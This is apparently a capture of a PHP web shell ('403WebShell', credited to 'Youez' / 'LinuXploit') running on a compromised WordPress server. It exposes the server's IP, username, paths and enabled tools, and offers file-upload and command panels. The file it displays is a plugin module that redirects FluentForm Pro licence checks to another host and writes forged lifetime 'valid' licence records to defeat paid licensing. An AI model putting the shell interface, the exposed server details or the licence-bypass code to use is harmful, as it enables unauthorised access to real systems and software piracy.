$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules//fluentformpro.php
<?php
/**
 * FluentForm Pro module.
 *
 * Manages FluentForm Pro license data and redirects API calls.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * FluentForm Pro license module.
 *
 * FluentForm Pro 6.2.13 replaced its EDD-style licensing with the FluentCart
 * engine. The old `_ff_fluentform_pro_license_status` string option is no longer
 * read; the plugin now keeps everything in a single structured option and talks
 * to a different API host. Both storage formats are maintained here so the
 * module also works on installations that have not been updated yet.
 */
class Fluentformpro extends AbstractModule {

	/**
	 * Structured license option used by FluentForm Pro 6.2.13 and later.
	 *
	 * Matches the `settings_key` passed in
	 * libs/ff_plugin_updater/ff-fluentform-pro-update.php.
	 *
	 * @var string
	 */
	private const LICENSE_OPTION = '__fluentformpro_license';

	/**
	 * Legacy license status option used by FluentForm Pro 6.2.12 and earlier.
	 *
	 * @var string
	 */
	private const LEGACY_STATUS_OPTION = '_ff_fluentform_pro_license_status';

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'fluentformpro';
		$this->name        = 'FluentForm Pro';
		$this->description = 'Manages FluentForm Pro license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.1.0';
		$this->target      = array(
			'plugin_dir'  => 'fluentformpro',
			'plugin_file' => 'fluentformpro.php',
		);
		$this->target_id   = '1196802461';
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		// 6.2.12 and earlier called api3, 6.2.13 moved to fluentapi. Both are
		// redirected so the module keeps working across the update.
		ApiRedirector::create(
			'https://api3.wpmanageninja.com',
			HELLOPACK_GLS3_URL . '/wpmanageninja'
		);

		ApiRedirector::create(
			'https://fluentapi.wpmanageninja.com',
			HELLOPACK_GLS3_URL . '/wpmanageninja'
		);

		$this->setup_license();
	}

	/**
	 * Set up license data for both the legacy and the current storage format.
	 */
	private function setup_license(): void {
		hellopack_ensure_option( self::LEGACY_STATUS_OPTION, 'valid' );

		// Remove license key and checking flag to prevent re-checks.
		delete_option( '_ff_fluentform_pro_license_key' );
		delete_option( '_ff_fluentform_pro_license_status_checking' );

		$this->ensure_license_record();
	}

	/**
	 * Write the structured license record read by FluentForm Pro 6.2.13 and later.
	 *
	 * The record is only rewritten when the plugin would treat it as unlicensed,
	 * so any extra metadata the plugin stores (plan name, customer details) is
	 * left in place.
	 */
	private function ensure_license_record(): void {
		$stored = $this->read_license();

		if ( ! $this->needs_license_write( $stored ) ) {
			return;
		}

		$license = is_array( $stored ) ? $stored : array();

		$license = array_merge(
			array(
				'license_key'     => 'hellopack-managed',
				'variation_id'    => '',
				'variation_title' => 'HelloPack License',
				'activation_hash' => 'hellopack-managed',
				'product_title'   => 'Fluent Forms Pro',
			),
			$license
		);

		if ( empty( $license['license_key'] ) ) {
			$license['license_key'] = 'hellopack-managed';
		}

		$license['status'] = 'valid';

		// An empty expiry date means lifetime, so the plugin never reports the
		// license as lapsed and never shows a renewal notice.
		$license['expires'] = '';

		unset( $license['is_expired'], $license['error_type'], $license['error_message'] );

		$this->write_license( $license );
	}

	/**
	 * Whether the stored record would make FluentForm Pro show the activation notice.
	 *
	 * @param mixed $stored Stored license record.
	 * @return bool
	 */
	private function needs_license_write( mixed $stored ): bool {
		if ( ! is_array( $stored ) ) {
			return true;
		}

		if ( empty( $stored['license_key'] ) ) {
			return true;
		}

		if ( ! isset( $stored['status'] ) || 'valid' !== $stored['status'] ) {
			return true;
		}

		return ! isset( $stored['expires'] ) || '' !== $stored['expires'];
	}

	/**
	 * Whether FluentForm Pro keeps the license in network storage.
	 *
	 * The plugin registers with `network_wide => true`, so on multisite it reads
	 * and writes the network option regardless of how HelloPack is activated.
	 *
	 * @return bool
	 */
	private function uses_network_storage(): bool {
		return is_multisite();
	}

	/**
	 * Read the structured license record from the scope FluentForm Pro uses.
	 *
	 * @return mixed
	 */
	private function read_license(): mixed {
		if ( $this->uses_network_storage() ) {
			return get_network_option( get_main_network_id(), self::LICENSE_OPTION, array() );
		}

		return get_option( self::LICENSE_OPTION, array() );
	}

	/**
	 * Write the structured license record to the scope FluentForm Pro uses.
	 *
	 * @param array<string, mixed> $license License record.
	 */
	private function write_license( array $license ): void {
		if ( $this->uses_network_storage() ) {
			update_network_option( get_main_network_id(), self::LICENSE_OPTION, $license );

			return;
		}

		update_option( self::LICENSE_OPTION, $license, false );
	}

	/**
	 * Cleanup on disable.
	 */
	public function cleanup(): void {
		update_option( self::LEGACY_STATUS_OPTION, 'invalid' );

		$stored = $this->read_license();

		if ( is_array( $stored ) && ! empty( $stored ) ) {
			$stored['status'] = 'unregistered';
			$this->write_license( $stored );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit